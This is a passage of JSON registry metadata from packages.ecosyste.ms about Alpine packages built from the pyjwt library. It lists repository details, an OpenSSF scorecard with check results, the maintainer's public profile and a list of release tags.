//issues.ecosyste.ms/api/v1/hosts/GitHub/authors/jpadilla"}]},"versions_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.15/packages/py3-jwt-cli/versions","version_numbers_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.15/packages/py3-jwt-cli/version_numbers","latest_version_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.15/packages/py3-jwt-cli/latest_version","dependent_packages_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.15/packages/py3-jwt-cli/dependent_packages","related_packages_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.15/packages/py3-jwt-cli/related_packages","codemeta_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.15/packages/py3-jwt-cli/codemeta","maintainers":[],"registry":{"name":"alpine-v3.15","url":"https://pkgs.alpinelinux.org/packages?branch=v3.15","ecosystem":"alpine","default":false,"packages_count":15857,"maintainers_count":287,"namespaces_count":2,"keywords_count":2466,"github":"alpinelinux","metadata":{"repos":["main","community"],"funded_packages_count":786},"icon_url":"https://github.com/alpinelinux.png","created_at":"2023-01-31T17:27:50.684Z","updated_at":"2026-06-10T05:17:43.390Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.15/packages","maintainers_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.15/maintainers","namespaces_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.15/namespaces"}},{"id":13009188,"name":"py3-jwt-pyc","ecosystem":"alpine","description":"Precompiled Python bytecode for py3-jwt","homepage":"https://github.com/jpadilla/pyjwt","licenses":"MIT","normalized_licenses":["MIT"],"repository_url":"https://github.com/jpadilla/pyjwt","keywords_array":[],"namespace":"community","versions_count":1,"first_release_published_at":"2025-04-27T22:28:00.000Z","latest_release_published_at":"2025-04-27T22:28:00.000Z","latest_release_number":"2.10.1-r0","last_synced_at":"2026-04-19T04:04:00.455Z","created_at":"2026-01-31T00:53:50.310Z","updated_at":"2026-05-29T04:00:36.058Z","registry_url":"https://pkgs.alpinelinux.org/package/v3.23/community/x86_64/py3-jwt-pyc","install_command":"apk add py3-jwt-pyc","documentation_url":null,"metadata":{"repository":"community","architecture":"x86_64"},"repo_metadata":{"id":1396960,"uuid":"1408162","full_name":"jpadilla/pyjwt","owner":"jpadilla","description":"JSON Web Token implementation in Python","archived":false,"fork":false,"pushed_at":"2026-05-18T22:10:19.000Z","size":1229,"stargazers_count":5660,"open_issues_count":52,"forks_count":756,"subscribers_count":59,"default_branch":"master","last_synced_at":"2026-05-19T00:41:40.142Z","etag":null,"topics":["hacktoberfest","jwt","python"],"latest_commit_sha":null,"homepage":"https://pyjwt.readthedocs.io","language":"Python","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":"jondot/padrino-warden","license":"mit","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/jpadilla.png","metadata":{"files":{"readme":"README.rst","changelog":"CHANGELOG.rst","contributing":null,"funding":".github/FUNDING.yml","license":"LICENSE","code_of_conduct":"CODE_OF_CONDUCT.md","threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":"SECURITY.md","support":null,"governance":null,"roadmap":null,"authors":"AUTHORS.rst","dei":null,"publiccode":null,"codemeta":null,"zenodo":null,"notice":null,"maintainers":null,"copyright":null,"agents":null,"dco":null,"cla":null},"funding":{"github":["jpadilla"]}},"created_at":"2011-02-24T20:25:09.000Z","updated_at":"2026-05-15T21:30:33.000Z","dependencies_parsed_at":"2025-11-13T02:02:14.919Z","dependency_job_id":null,"html_url":"https://github.com/jpadilla/pyjwt","commit_stats":{"total_commits":666,"total_committers":140,"mean_commits":4.757142857142857,"dds":0.7777777777777778,"last_synced_commit":"d8b12421654840418fd25b86553795c0c09ed0a9"},"previous_names":["progrium/pyjwt"],"tags_count":48,"template":false,"template_full_name":null,"purl":"pkg:github/jpadilla/pyjwt","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/jpadilla","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/refs/heads/master","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/sbom","scorecard":{"id":316997,"data":{"date":"2025-08-11","repo":{"name":"github.com/jpadilla/pyjwt","commit":"f2d0ebe7ec6d95cf92d958f9fcbd60ba1911cd3d"},"scorecard":{"version":"v5.2.1-40-gf6ed084d","commit":"f6ed084d17c9236477efd66e5b258b9d4cc7b389"},"score":7.5,"checks":[{"name":"Code-Review","score":8,"reason":"Found 12/15 approved changesets -- score normalized to 8","details":null,"documentation":{"short":"Determines if the project requires human code review before pull requests (aka merge requests) are merged.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#code-review"}},{"name":"Security-Policy","score":10,"reason":"security policy file detected","details":["Info: security policy file detected: SECURITY.md:1","Info: Found linked content: SECURITY.md:1","Info: Found disclosure, vulnerability, and/or timelines in security policy: SECURITY.md:1","Info: Found text in security policy: SECURITY.md:1"],"documentation":{"short":"Determines if the project has published a security policy.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#security-policy"}},{"name":"Dangerous-Workflow","score":10,"reason":"no dangerous workflow patterns detected","details":null,"documentation":{"short":"Determines if the project's GitHub Action workflows avoid dangerous patterns.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#dangerous-workflow"}},{"name":"Maintained","score":10,"reason":"11 commit(s) and 3 issue activity found in the last 90 days -- score normalized to 10","details":null,"documentation":{"short":"Determines if the project is \"actively maintained\".","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#maintained"}},{"name":"Binary-Artifacts","score":10,"reason":"no binaries found in the repo","details":null,"documentation":{"short":"Determines if the project has generated executable (binary) artifacts in the source repository.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#binary-artifacts"}},{"name":"Token-Permissions","score":0,"reason":"detected GitHub workflow tokens with excessive permissions","details":["Info: topLevel 'contents' permission set to 'read': .github/workflows/enforce-changelog-entry.yml:8","Warn: no topLevel permission defined: .github/workflows/main.yml:1","Info: topLevel 'contents' permission set to 'read': .github/workflows/pypi-package.yml:16","Info: no jobLevel write permissions found"],"documentation":{"short":"Determines if the project's workflows follow the principle of least privilege.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#token-permissions"}},{"name":"Pinned-Dependencies","score":0,"reason":"dependency not pinned by hash detected -- score normalized to 0","details":["Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:25: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:26: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:44: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/main.yml:58: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:69: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:70: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:96: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:97: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/pypi-package.yml:27: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/pypi-package.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/pypi-package.yml:31: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/pypi-package.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/pypi-package.yml:43: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/pypi-package.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/pypi-package.yml:49: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/pypi-package.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/pypi-package.yml:63: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/pypi-package.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/pypi-package.yml:69: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/pypi-package.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/stale.yml:15: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/stale.yml/master?enable=pin","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:36","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:37","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:51","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:77","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:104","Info:   0 out of  11 GitHub-owned GitHubAction dependencies pinned","Info:   1 out of   5 third-party GitHubAction dependencies pinned","Info:   0 out of   5 pipCommand dependencies pinned"],"documentation":{"short":"Determines if the project has declared and pinned the dependencies of its build process.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#pinned-dependencies"}},{"name":"CII-Best-Practices","score":0,"reason":"no effort to earn an OpenSSF best practices badge detected","details":null,"documentation":{"short":"Determines if the project has an OpenSSF (formerly CII) Best Practices Badge.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#cii-best-practices"}},{"name":"Fuzzing","score":10,"reason":"project is fuzzed","details":["Info: OSSFuzz integration found"],"documentation":{"short":"Determines if the project uses fuzzing.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#fuzzing"}},{"name":"License","score":10,"reason":"license file detected","details":["Info: project has a license file: LICENSE:0","Info: FSF or OSI recognized license: MIT License: LICENSE:0"],"documentation":{"short":"Determines if the project has defined a license.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#license"}},{"name":"Vulnerabilities","score":10,"reason":"0 existing vulnerabilities detected","details":null,"documentation":{"short":"Determines if the project has open, known unfixed vulnerabilities.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#vulnerabilities"}},{"name":"Signed-Releases","score":-1,"reason":"no releases found","details":null,"documentation":{"short":"Determines if the project cryptographically signs release artifacts.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#signed-releases"}},{"name":"Branch-Protection","score":-1,"reason":"internal error: error during branchesHandler.setup: internal error: githubv4.Query: Resource not accessible by integration","details":null,"documentation":{"short":"Determines if the default and release branches are protected with GitHub's branch protection settings.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#branch-protection"}},{"name":"Packaging","score":10,"reason":"packaging workflow detected","details":["Info: Project packages its releases by way of GitHub Actions.: .github/workflows/pypi-package.yml:34"],"documentation":{"short":"Determines if the project is published as a package that others can easily download, install, easily update, and uninstall.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#packaging"}},{"name":"SAST","score":5,"reason":"SAST tool is not run on all commits -- score normalized to 5","details":["Warn: 16 commits out of 27 are checked with a SAST tool"],"documentation":{"short":"Determines if the project uses static code analysis.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#sast"}}]},"last_synced_at":"2025-08-18T00:25:46.882Z","repository_id":1396960,"created_at":"2025-08-18T00:25:46.882Z","updated_at":"2025-08-18T00:25:46.882Z"},"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":286080680,"owners_count":33197524,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2026-05-18T09:27:30.708Z","status":"ssl_error","status_checked_at":"2026-05-18T09:27:28.300Z","response_time":71,"last_error":"SSL_connect returned=1 errno=0 peeraddr=140.82.121.5:443 state=error: unexpected eof while reading","robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":false,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"},"owner_record":{"login":"jpadilla","name":"José Padilla","uuid":"83319","kind":"user","description":"@auth0 + @filepreviews ","email":"hello@jpadilla.com","website":"https://jpadilla.com","location":"Hartford, CT","twitter":"jpadilla_","company":"@auth0 ","icon_url":"https://avatars.githubusercontent.com/u/83319?v=4","repositories_count":230,"last_synced_at":"2025-11-23T03:17:15.931Z","metadata":{"has_sponsors_listing":true},"html_url":"https://github.com/jpadilla","funding_links":["https://github.com/sponsors/jpadilla"],"total_stars":12101,"followers":1389,"following":419,"created_at":"2022-11-02T16:29:26.720Z","updated_at":"2025-11-23T03:17:15.932Z","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/jpadilla","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/jpadilla/repositories"},"tags":[{"name":"2.13.0","sha":"7144e4534c34810f4525dc4578a32addd8212cff","kind":"commit","published_at":"2026-05-21T19:34:15.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.13.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.13.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.13.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.13.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.13.0/manifests"},{"name":"2.12.1","sha":"a4e1a3d1218b01c5806420b8f16d9308ac4adc30","kind":"commit","published_at":"2026-03-13T18:41:01.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.12.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.12.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.12.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.12.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.12.1/manifests"},{"name":"2.12.0","sha":"bd9700cca7f9258fadcc429c1034e508025931f2","kind":"commit","published_at":"2026-03-12T17:08:41.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.12.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.12.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.12.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.12.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.12.0/manifests"},{"name":"2.11.0","sha":"697344d25990641b8b2aa85f0a60634b590b5702","kind":"commit","published_at":"2026-01-30T18:44:15.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.11.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.11.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.11.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.11.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.11.0/manifests"},{"name":"2.10.1","sha":"3ebbb22f30f2b1b41727b269a08b427e9a85d6bb","kind":"commit","published_at":"2024-11-28T03:30:29.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.10.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.10.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.10.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.10.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.10.1/manifests"},{"name":"2.10.0","sha":"783f324e5d2155462515ced45718fc164dd04db2","kind":"commit","published_at":"2024-11-16T13:57:38.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.10.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.10.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.10.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.10.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.10.0/manifests"},{"name":"2.9.0","sha":"868cf4ab2ca5a0a39da40e5a14dd740b203662b2","kind":"commit","published_at":"2024-07-31T12:40:12.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.9.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.9.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.9.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.9.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.9.0/manifests"},{"name":"2.8.0","sha":"72ad55f6d7041ae698dc0790a690804118be50fc","kind":"commit","published_at":"2023-07-18T18:30:05.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.8.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.8.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.8.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.8.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.8.0/manifests"},{"name":"2.7.0","sha":"d7c54dbebdab2ae17f7948fd4432b15e1bb82852","kind":"commit","published_at":"2023-05-09T19:04:21.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.7.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.7.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.7.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.7.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.7.0/manifests"},{"name":"2.6.0","sha":"7665aa625506a11bae50b56d3e04413a3dc6fdf8","kind":"commit","published_at":"2022-10-20T01:08:12.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.6.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.6.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.6.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.6.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.6.0/manifests"},{"name":"2.5.0","sha":"c9006103b56359b3ad788bb2e380ef17dfe59b05","kind":"commit","published_at":"2022-09-17T13:52:22.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.5.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.5.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.5.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.5.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.5.0/manifests"},{"name":"2.4.0","sha":"83ff831a4d11190e3a0bed781da43f8d84352653","kind":"commit","published_at":"2022-05-12T18:51:41.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.4.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.4.0/manifests"},{"name":"2.3.0","sha":"98620ab2a396a5c887a494259d49552c2093e1ad","kind":"commit","published_at":"2021-10-16T15:46:05.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.3.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.3.0/manifests"},{"name":"2.2.0","sha":"6223ba13780a941a3f4c9dec62f282bdd9b5afb0","kind":"commit","published_at":"2021-10-06T14:03:12.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.2.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.2.0/manifests"},{"name":"2.1.0","sha":"79c23d7d9d32364be8f94680d8eda7135c3a15d5","kind":"commit","published_at":"2021-04-28T11:59:15.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.1.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.1.0/manifests"},{"name":"2.0.1","sha":"3993ce1d3503b58cf74699a89ba9e5c18ef9b556","kind":"commit","published_at":"2021-01-17T17:56:19.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.0.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.0.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.0.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.1/manifests"},{"name":"2.0.0","sha":"482364776109cb597af7f679161dcf9c3ef5d0ea","kind":"commit","published_at":"2020-12-22T13:37:35.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.0.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.0/manifests"},{"name":"2.0.0a2","sha":"5bf8e70f26309b0a5ceda49ce0a7e97e89eee764","kind":"commit","published_at":"2020-12-20T00:02:44.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.0.0a2","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.0.0a2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.0.0a2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.0a2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.0a2/manifests"},{"name":"2.0.0a1","sha":"8041cb607a733a9b5fffe1e9136d55a40bcea25b","kind":"commit","published_at":"2020-11-02T12:58:11.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.0.0a1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.0.0a1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.0.0a1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.0a1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.0a1/manifests"},{"name":"1.7.1","sha":"b65e1ac6dc4d11801f3642eaab34ae6a54162c18","kind":"tag","published_at":"2018-12-07T13:40:31.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.7.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.7.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.7.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.7.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.7.1/manifests"},{"name":"1.7.0","sha":"3f735fdf68cc865a6241aae1fcf92a410c73fbdb","kind":"tag","published_at":"2018-12-02T03:49:29.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.7.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.7.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.7.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.7.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.7.0/manifests"},{"name":"1.6.4","sha":"d25c92ca5e9980ca7bc8b31420bf36e3f4a9e3f0","kind":"tag","published_at":"2018-05-24T02:47:12.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.6.4","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.6.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.6.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.4/manifests"},{"name":"1.6.3","sha":"070015d79ed5277c6d76fa8f996fb9698257afe4","kind":"tag","published_at":"2018-05-19T17:13:50.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.6.3","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.6.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.6.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.3","manifests_url"